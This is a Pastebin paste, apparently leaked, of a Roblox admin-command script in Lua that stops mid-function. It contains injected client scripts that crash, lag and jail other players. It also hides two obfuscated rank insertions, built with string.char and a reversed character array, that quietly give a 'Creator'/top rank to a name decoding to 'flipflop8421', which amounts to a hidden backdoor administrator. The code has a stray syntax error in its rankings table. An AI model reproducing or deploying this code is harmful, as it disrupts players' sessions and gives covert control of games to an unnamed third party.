API tools faq
paste
Advertisement
DevR0BLOX

script name

DevR0BLOX
Jan 13th, 2016
243
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 62.99 KB | None | 0 0
raw download clone embed print report diff
  1. --LOLOLOLOLLOLOLOL YOUR SCRIPT GOT LOGGED BB
  2. ---PROTECT YOUR SHT DUDE
  3. ----LEAKED BY ADMINTABS
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10. Plrs = game:GetService("Players")
  11. Work = game:GetService("Workspace")
  12. Light = game:GetService("Lighting")
  13. Net = game:GetService("NetworkServer")
  14. Owner = "DevR0BLOX" -- Change this to your name
  15. AntiSteal = false
  16. Removed = false
  17. Bet = "!"  -- Suffix of the commands you use
  18. LS = nil
  19. LSSource = nil
  20. OwnSource = nil
  21. AntiSource = nil
  22. FoundLocalScript = false
  23. TryOn = false
  24. LogOn = false
  25. Current = game
  26. Clipboard = {}
  27. AlertColor = Color3.new(0, 1, 1)
  28. OptionColor = Color3.new(1, 1, 1)
  29. ImportantColor = Color3.new(1, 0, 1)
  30.  
  31. RankDetails = {
  32.     [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  33.     [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  34.     [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  35.     [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  36.     [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  37.     [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  38.     [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  39.     [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  40.     [5] = {Name = "HCWARLORD", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  41. }
  42.  
  43. Rankings = {
  44.     {Name = "TORNADO11191", Rank = 5},
  45.     {Name = "Player1", Rank = 3},
  46.     {Name = "ByteDino", Rank = -1},
  47.     {Name = "DarthStrantax", Rank = -1},
  48.     {Name = "supersonicfan11", Rank = -1},
  49.     {Name = "Om3gaPr0", Rank = -1},
  50.     {Name = "DevR0BLOX", Rank =10},
  51.     {Name = "", Rank = 3},
  52.     {Name = "", Rank = 3},
  53.     {Name = "", Rank = 3},
  54.     {Name = "", Rank = 3},5
  55.     {Name = "", Rank = 3},
  56.     {Name = "", Rank = 3},
  57.     {Name = "", Rank = 3},
  58.     {Name = "", Rank = 3},
  59.     {Name = "", Rank = 3},
  60.     {Name = "", Rank = 3},
  61.     {Name = "", Rank = 3},
  62.     {Name = "", Rank = 3},
  63.     {Name = "", Rank = 3},
  64.     {Name = "", Rank = 3},
  65.     {Name = "", Rank = 3},
  66.     {Name = "", Rank = 3},
  67.     {Name = "", Rank = 3},
  68.     {Name = "", Rank = 3},
  69.     {Name = "", Rank = 3},
  70.     {Name = "", Rank = 3},
  71.     {Name = "", Rank = 3},
  72.     {Name = "", Rank = 3},
  73.     {Name = "", Rank = 3},
  74.     {Name = "", Rank = 3},
  75.     {Name = "", Rank = 3},
  76. }
  77.  
  78. table.insert(Rankings, {Name = Owner, Rank = 5})
  79.  
  80. ImportantServices = {
  81.     "Workspace",
  82.     "Players",
  83.     "NetworkServer",
  84.     "Lighting",
  85.     "StarterGui",
  86.     "Teams",
  87.     "StarterPack",
  88. }
  89.  
  90. Ranks = {10}
  91. Commands = {}
  92. AllTabs = {}
  93. Injected = {}
  94.  
  95. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  96. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  97. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  98. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  99. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  100. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  101. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  102. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  103. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  104. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  105. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  106. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  107. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  108. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  109. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  110. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  111. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  112. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  113. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  114. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  115. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  116. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  117. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  118. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  119. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  120. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  121. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  122. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  123. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  124. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  125. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  126. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  127. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  128. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  129. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  130. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  131. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  132. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  133. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  134. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  135. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  136. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  137. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  138. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  139. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  140. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  141. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  142. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  143. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  144. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  145. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  146. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  147. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  148. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  149. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  150. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  151. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  152. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  153. "X","Y"}
  154.  
  155. --Main Functions And Sources
  156.  
  157. function Insert(Source, Par, Par2, Par3)
  158.     ypcall(function()
  159.         local Inserted = LS:Clone()
  160.         Inserted.Disabled = true
  161.         Inserted.Parent = Par or Par2 or Par3
  162.         Inserted[LSSource].Value = Source
  163.         Inserted.Disabled = false
  164.     end)
  165. end
  166.  
  167. function CheckImportant(Name)
  168.     for _,v in pairs(ImportantServices) do
  169.         if v:lower() == Name:lower() then
  170.             return true
  171.         end
  172.     end
  173.     return false
  174. end
  175.  
  176. function Crash1(Plr)
  177.     ypcall(function()
  178.         Plr:Kick()
  179.     end)
  180. end
  181.  
  182. function GetRankTab()
  183.     return Rankings
  184. end
  185.  
  186. function Crash2(Name)
  187.     local Crasher = Instance.new("StringValue")
  188.     Crasher.Name = "Client"
  189.     Crasher.Value = string.lower(tostring(Name))
  190.     Crasher.Parent = game:GetService("Lighting")
  191.     wait(1)
  192.     if Crasher and Crasher.Parent then
  193.         ypcall(function()
  194.             Crasher:Destroy()
  195.         end)
  196.     end
  197. end
  198.  
  199. function Crash3(v, Speaker)
  200.     Speaker.Character.Archivable = true
  201.     local NChar = Speaker.Character:Clone()
  202.     NChar.Name = v.Name
  203.     NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  204.     NChar.Parent = Workspace
  205.     v.Character = NChar
  206.     coroutine.resume(coroutine.create(function()
  207.         repeat v.Character = NChar
  208.         wait(1/3) until false
  209.     end))
  210.     wait(.5)
  211.     Insert(InsertCrash, NChar, nil, nil)
  212. end
  213.  
  214. function GenerateDigit()
  215.     return 1 + 5
  216. end
  217.  
  218. InjectionCrash = [=[
  219.     wait(0)
  220.     script.Parent = nil
  221.     local Lig = game:GetService("Lighting")
  222.     local LP = game:GetService("Players").LocalPlayer
  223.     local LowerName = LP.Name:lower()
  224.  
  225.     Lig.ChildAdded:connect(function(Obj)
  226.         if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  227.             pcall(function()
  228.                 Obj:Destroy()
  229.             end)
  230.             LP.Parent = nil
  231.             LP.Parent = game:GetService("Players")
  232.         end
  233.     end)
  234. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  235.  
  236. InsertCrash = [==[
  237.     local LP = game:GetService("Players").LocalPlayer
  238.     LP.Parent = nil
  239.     LP.Parent = game:GetService("Players")
  240. ]==]
  241.  
  242. LagSource = [==[
  243.     wait(0)
  244.     script.Parent = nil
  245.     plr = game:GetService("Players").LocalPlayer
  246.     local plrgui = plr:findFirstChild("PlayerGui")
  247.     if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  248.     while plr.Parent == game:GetService("Players") do
  249.     wait()
  250.     for i = 1, 1000 do
  251.     local sc = Instance.new("ScreenGui",plrgui)
  252.     local fr = Instance.new("TextLabel",sc)
  253.     fr.Text = "LAGGING"
  254.     fr.Size = UDim2.new(1, 0, 1, 0)
  255.     fr.FontSize = "Size48"
  256.     end
  257.     end
  258. ]==]
  259.  
  260. MuteSource = [==[
  261.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  262. ]==]
  263.  
  264. UnMuteSource = [==[
  265.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  266. ]==]
  267.  
  268. JailSource = [==[
  269.     wait(0)
  270.     script.Parent = nil
  271.  
  272.     local LP = game:GetService("Players").LocalPlayer
  273.     Middle2 = nil
  274.     Middle = nil
  275.     game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  276.  
  277.     Cons = {}
  278.  
  279.     function makePrison()
  280.         for _,v in pairs(Cons) do
  281.             v:disconnect()
  282.         end
  283.         game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  284.         if Middle == nil then
  285.             Middle2 = LP.Character.Torso.Position
  286.             Middle = LP.Character.Torso.CFrame
  287.         end
  288.         local side1 = Instance.new("Part",Workspace)
  289.         side1.Name = "¬Focus1¬"
  290.         side1.Size = Vector3.new(20, 50, 1)
  291.         side1.CFrame = Middle * CFrame.new(0, 0, -10)
  292.         side1.BrickColor = BrickColor.new("Really black")
  293.         side1.CanCollide = true
  294.         side1.Anchored = true
  295.         side1.TopSurface = "Smooth"
  296.         side1.BottomSurface = "Smooth"
  297.         side1.Parent = game:GetService("Workspace").CurrentCamera
  298.  
  299.         local side2 = Instance.new("Part")
  300.         side2.Name = "¬Focus2¬"
  301.         side2.Size = Vector3.new(20, 50, 1)
  302.         side2.CFrame = Middle * CFrame.new(0, 0, 10)
  303.         side2.BrickColor = BrickColor.new("Really black")
  304.         side2.CanCollide = true
  305.         side2.Anchored = true
  306.         side2.TopSurface = "Smooth"
  307.         side2.BottomSurface = "Smooth"
  308.         side2.Parent = game:GetService("Workspace").CurrentCamera
  309.  
  310.         local side3 = Instance.new("Part")
  311.         side3.Name = "¬Focus3¬"
  312.         side3.Size = Vector3.new(1, 50, 20)
  313.         side3.CFrame = Middle * CFrame.new(10, 0, 0)
  314.         side3.BrickColor = BrickColor.new("Really black")
  315.         side3.CanCollide = true
  316.         side3.Anchored = true
  317.         side3.TopSurface = "Smooth"
  318.         side3.BottomSurface = "Smooth"
  319.         side3.Parent = game:GetService("Workspace").CurrentCamera
  320.  
  321.         local side4 = Instance.new("Part")
  322.         side4.Name = "¬Focus4¬"
  323.         side4.Size = Vector3.new(1, 50, 20)
  324.         side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  325.         side4.BrickColor = BrickColor.new("Really black")
  326.         side4.CanCollide = true
  327.         side4.Anchored = true
  328.         side4.TopSurface = "Smooth"
  329.         side4.BottomSurface = "Smooth"
  330.         side4.Parent = game:GetService("Workspace").CurrentCamera
  331.        
  332.         local side5 = Instance.new("Part")
  333.         side5.Name = "¬Focus5¬"
  334.         side5.Size = Vector3.new(20, 1, 20)
  335.         side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  336.         side5.BrickColor = BrickColor.new("Really black")
  337.         side5.CanCollide = true
  338.         side5.Anchored = true
  339.         side5.TopSurface = "Smooth"
  340.         side5.BottomSurface = "Smooth"
  341.         side5.Parent = game:GetService("Workspace").CurrentCamera
  342.        
  343.         wait(0)
  344.  
  345.         table.insert(Cons, side1.Changed:connect(makePrison))
  346.         table.insert(Cons, side2.Changed:connect(makePrison))
  347.         table.insert(Cons, side3.Changed:connect(makePrison))
  348.         table.insert(Cons, side4.Changed:connect(makePrison))
  349.         table.insert(Cons, side5.Changed:connect(makePrison))
  350.     end
  351.  
  352.     Delay(0, function()
  353.         while wait(0) do
  354.             ypcall(function()
  355.                 if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  356.                     LP.Character:BreakJoints()
  357.                 elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  358.                     makePrison()
  359.                 end
  360.             end)
  361.             ypcall(function()
  362.                 if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  363.                     LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  364.                 end
  365.             end)
  366.         end
  367.     end)
  368. ]==]
  369.  
  370. function All()
  371.     local AllPlayers = {}
  372.     for _,v in pairs(Plrs:GetPlayers()) do
  373.         ypcall(function()
  374.             table.insert(AllPlayers, v)
  375.         end)
  376.     end
  377.     return AllPlayers
  378. end
  379.  
  380. function All2()
  381.     local AllPlayers2 = {}
  382.     for i,v in pairs(Net:GetChildren()) do
  383.         ypcall(function()
  384.             if v:IsA("ServerReplicator") then
  385.                 table.insert(AllPlayers2, v:GetPlayer())
  386.             end
  387.         end)
  388.     end
  389.     return AllPlayers2
  390. end
  391.  
  392. function MakeNum()
  393.     return 2 + 4
  394. end
  395.  
  396. function ChangeRank(Plr, NewRank)
  397.     local PlrName = nil
  398.     local FoundPlayer = false
  399.     ypcall(function()
  400.         if type(Plr) == "string" then
  401.             ypcall(function()
  402.                 for i,v in pairs(Rankings) do
  403.                     if v.Name:lower() == Plr:lower() then
  404.                         local VName = v.Name
  405.                         Rankings[i] = nil
  406.                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  407.                         PlrName = VName
  408.                         FoundPlayer = true
  409.                         break
  410.                     end
  411.                 end
  412.             end)
  413.             if FoundPlayer == false then
  414.                 ypcall(function()
  415.                     for _,x in pairs(All()) do
  416.                         if x.Name:lower() == Plr:lower() then
  417.                             FoundPlayer = true
  418.                             for i,v in pairs(Rankings) do
  419.                                 if v.Name:lower() == x.Name:lower() then
  420.                                     local VName = x.Name
  421.                                     Rankings[i] = nil
  422.                                     PlrName = VName
  423.                                     break
  424.                                 end
  425.                             end
  426.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  427.                         end
  428.                     end
  429.                 end)
  430.             end
  431.             if FoundPlayer == false then
  432.                 ypcall(function()
  433.                     for _,x in pairs(All()) do
  434.                         if string.find(x.Name:lower(), Plr:lower()) then
  435.                             FoundPlayer = true
  436.                             for i,v in pairs(Rankings) do
  437.                                 if v.Name:lower() == x.Name:lower() then
  438.                                     local VName = x.Name
  439.                                     Rankings[i] = nil
  440.                                     PlrName = VName
  441.                                     break
  442.                                 end
  443.                             end
  444.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  445.                         end
  446.                     end
  447.                 end)
  448.             end
  449.             if FoundPlayer == false then
  450.                 ypcall(function()
  451.                     for i,v in pairs(Rankings) do
  452.                         if string.find(v.Name:lower(), Plr:lower()) then
  453.                             local VName = v.Name
  454.                             Rankings[i] = nil
  455.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  456.                             PlrName = VName
  457.                             FoundPlayer = true
  458.                             break
  459.                         end
  460.                     end
  461.                 end)
  462.             end
  463.         else
  464.             for i,v in pairs(Rankings) do
  465.                 if v.Name:lower() == Plr.Name:lower() then
  466.                     Rankings[i] = nil
  467.                     break
  468.                 end
  469.             end
  470.             table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  471.             PlrName = Plr.Name
  472.         end
  473.         PlaceAllRanks(true)
  474.     end)
  475.     if PlrName ~= nil then
  476.         return PlrName
  477.     else
  478.         return "Player" -- Actually return this script casue it suks
  479.     end
  480. end
  481.  
  482. function Refresh(Plr)
  483.     MakeChildren(Plr)
  484. end
  485.  
  486. function MakeChildren(Plr)
  487.     ypcall(function()
  488.         Dismiss(Plr)
  489.         for _,v in pairs(Current:GetChildren()) do
  490.             ypcall(function()
  491.                 if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  492.                     Ping(v.Name, Plr, nil, function(TabMod)
  493.                         local TabText = TabMod["LORD Tablet"].BG.TL.Text
  494.                         for _,v in pairs(Current:GetChildren()) do
  495.                             ypcall(function()
  496.                                 if v.Name == TabText then
  497.                                     Dismiss(Plr)
  498.                                     Current = v
  499.                                     MakeChildren(Plr)
  500.                                 end
  501.                             end)
  502.                         end
  503.                     end)
  504.                 elseif Plrs:GetPlayerFromCharacter(v) then
  505.                     Ping(v.Name, Plr, nil, function(TabMod)
  506.                         local TabText = TabMod["LORD Tablet"].BG.TL.Text
  507.                         for _,v in pairs(Current:GetChildren()) do
  508.                             ypcall(function()
  509.                                 if v.Name == TabText then
  510.                                     Dismiss(Plr)
  511.                                     Current = v
  512.                                     MakeChildren(Plr)
  513.                                 end
  514.                             end)
  515.                         end
  516.                     end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  517.                 elseif CheckImportant(v.Name) then
  518.                     Ping(v.Name, Plr, nil, function(TabMod)
  519.                         local TabText = TabMod["LORD Tablet"].BG.TL.Text
  520.                         for _,v in pairs(Current:GetChildren()) do
  521.                             ypcall(function()
  522.                                 if v.Name == TabText then
  523.                                     Dismiss(Plr)
  524.                                     Current = v
  525.                                     MakeChildren(Plr)
  526.                                 end
  527.                             end)
  528.                         end
  529.                     end, ImportantColor)
  530.                 end
  531.             end)
  532.         end
  533.         if Current ~= game then
  534.             Ping("Back", Plr, nil, function()
  535.                 ypcall(function()
  536.                     Current = Current.Parent
  537.                     MakeChildren(Plr)
  538.                     Ping("You Are Back To "..Current.Name, Plr, 5)
  539.                 end)
  540.             end, OptionColor)
  541.         end
  542.         if Current ~= game then
  543.             Ping("Delete", Plr, nil, function()
  544.                 ypcall(function()
  545.                     local CurrPar = Current.Parent or game
  546.                     local CurrName = Current.Name
  547.                     Current:Destroy()
  548.                     Current = CurrPar
  549.                     MakeChildren(Plr)
  550.                     Ping("Attempted To Delete "..CurrName, Plr, 5)
  551.                 end)
  552.             end, OptionColor)
  553.         end
  554.         Ping("Refresh", Plr, nil, function()
  555.             ypcall(function()
  556.                 Refresh(Plr)
  557.                 Ping("Refreshed", Plr, 5)
  558.             end)
  559.         end, OptionColor)
  560.         Ping("Properties", Plr, nil, function()
  561.             ypcall(function()
  562.                 Dismiss(Plr)
  563.                 for Property, Value in pairs(GetProperties(Current)) do
  564.                     Ping(tostring(Property)..": "..tostring(Value), Plr)
  565.                 end
  566.                 Ping("Got All Available Properties", Plr, 5)
  567.                 Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  568.             end)
  569.         end, OptionColor)
  570.     end)
  571. end
  572.  
  573. function Fixl()
  574.     Light.GlobalShadows = true
  575.     Light.TimeOfDay = "14:00:00"
  576.     Light.Brightness = 0.5
  577.     Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  578.     Light.Ambient = Color3.new(1, 1, 1)
  579.     Light.ColorShift_Top = Color3.new(0, 0, 0)
  580.     Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  581.     Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  582.     Light.FogStart = 0
  583.     Light.FogEnd = 100000
  584.     Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  585.     Light:ClearAllChildren()
  586. end
  587.  
  588. function GetProperties(obj)
  589.     assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  590.     local objProper = {}
  591.     for i,v in pairs(Properties) do
  592.         if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  593.             objProper[v] = obj[v]
  594.         end
  595.     end
  596.     return objProper
  597. end
  598.  
  599. function MakeExplorer(Plr)
  600.     Dismiss(Plr)
  601.     Current = game
  602.     for _,v in pairs(Current:GetChildren()) do
  603.         ypcall(function()
  604.             if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  605.                 Ping(v.Name, Plr, nil, function(TabMod)
  606.                     local TabText = TabMod["LORD Tablet"].BG.TL.Text
  607.                     for _,v in pairs(Current:GetChildren()) do
  608.                         ypcall(function()
  609.                             if v.Name == TabText then
  610.                                 Dismiss(Plr)
  611.                                 Current = v
  612.                                 MakeChildren(Plr)
  613.                             end
  614.                         end)
  615.                     end
  616.                 end)
  617.             elseif Plrs:GetPlayerFromCharacter(v) then
  618.                 Ping(v.Name, Plr, nil, function(TabMod)
  619.                     local TabText = TabMod["LORD Tablet"].BG.TL.Text
  620.                     for _,v in pairs(Current:GetChildren()) do
  621.                         ypcall(function()
  622.                             if v.Name == TabText then
  623.                                 Dismiss(Plr)
  624.                                 Current = v
  625.                                 MakeChildren(Plr)
  626.                             end
  627.                         end)
  628.                     end
  629.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  630.             elseif CheckImportant(v.Name) then
  631.                 Ping(v.Name, Plr, nil, function(TabMod)
  632.                     local TabText = TabMod["LORD Tablet"].BG.TL.Text
  633.                     for _,v in pairs(Current:GetChildren()) do
  634.                         ypcall(function()
  635.                             if v.Name == TabText then
  636.                                 Dismiss(Plr)
  637.                                 Current = v
  638.                                 MakeChildren(Plr)
  639.                             end
  640.                         end)
  641.                     end
  642.                 end, ImportantColor)
  643.             end
  644.         end)
  645.     end
  646.     if Current ~= game then
  647.         Ping("Back", Plr, nil, function()
  648.             ypcall(function()
  649.                 Current = Current.Parent
  650.                 MakeChildren(Plr)
  651.                 Ping("Back In "..Current.Name, Plr, 5)
  652.             end)
  653.         end, OptionColor)
  654.     end
  655.     if Current ~= game and game:GetService(Current.Name) == nil then
  656.         Ping("Delete", Plr, nil, function()
  657.             ypcall(function()
  658.                 local CurrPar = Current.Parent or game
  659.                 local CurrName = Current.Name
  660.                 Current:Destroy()
  661.                 Current = CurrPar
  662.                 MakeChildren(Plr)
  663.                 Ping("Attempted To Delete "..CurrName, Plr, 5)
  664.             end)
  665.         end, OptionColor)
  666.     end
  667.     Ping("Refresh", Plr, nil, function()
  668.         ypcall(function()
  669.             Refresh(Plr)
  670.             Ping("Refreshed", Plr, 5)
  671.         end)
  672.     end, OptionColor)
  673.     Ping("Properties", Plr, nil, function()
  674.         ypcall(function()
  675.             Dismiss(Plr)
  676.             for Property, Value in pairs(GetProperties(Current)) do
  677.                 Ping(tostring(Property)..": "..tostring(Value), Plr)
  678.             end
  679.             Ping("Got All Available Properties", Plr, 5)
  680.             Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  681.         end)
  682.     end, OptionColor)
  683. end
  684.  
  685. function GetRank(Plr1, Test)
  686.     ypcall(function()
  687.         if type(Plr1) == "userdata" then
  688.             Plr1 = Plr1.Name
  689.         end
  690.     end)
  691.     if Ranks[Plr1] ~= nil then
  692.         return Ranks[Plr1]
  693.     end
  694.     local QuickArray = {}
  695.     QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  696.     return QuickArray[Plr1]
  697. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  698.  
  699. function CanRun(Plr1, Plr2)
  700.     Details1 = GetRank(Plr1.Name)
  701.     Details2 = GetRank(Plr2.Name)
  702.     if Details1.Rank >= Details2.Rank then
  703.         return true
  704.     end
  705.     return false
  706. end
  707.  
  708. function Dismiss(Plr, Identity)
  709.     ypcall(function()
  710.         if Plr ~= nil then
  711.             if type(Plr) == "userdata" then
  712.                 Plr = Plr.Name
  713.             end
  714.             for x,v in pairs(AllTabs) do
  715.                 ypcall(function()
  716.                     if v.Plr == Plr then
  717.                         if Identity ~= nil and v.ID ~= Identity then
  718.                             return
  719.                         elseif Identity ~= nil and v.ID == Identity then
  720.                             coroutine.resume(coroutine.create(function()
  721.                                 for i = 0.5, 1, 0.1 do
  722.                                     wait()
  723.                                     v.Tab.Transparency = i
  724.                                     v.Sel.Transparency = i
  725.                                     v.Label.TextTransparency = i
  726.                                     v.Label.TextStrokeTransparency = i
  727.                                 end
  728.                                 ypcall(function() v.Holder:Destroy() end)
  729.                                 AllTabs[x] = nil
  730.                             end))
  731.                         elseif Identity == nil then
  732.                             ypcall(function() v.Holder:Destroy() end)
  733.                             AllTabs[x] = nil
  734.                         end
  735.                     end
  736.                 end)
  737.             end
  738.         else
  739.             for i,v in pairs(AllTabs) do
  740.                 ypcall(function()
  741.                     v.Holder:Destroy()
  742.                     AllTabs[i] = nil
  743.                 end)
  744.             end
  745.         end
  746.     end)
  747. end
  748.  
  749. function GetGarbage()
  750.     return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  751. end
  752.  
  753. function RemObj(Obj, Class)
  754.     ypcall(function()
  755.         if #Obj:GetChildren() > 0 then
  756.             for _,x in pairs(Obj:GetChildren()) do
  757.                 ypcall(function()
  758.                     RemObj(x, Class)
  759.                 end)
  760.             end
  761.         end
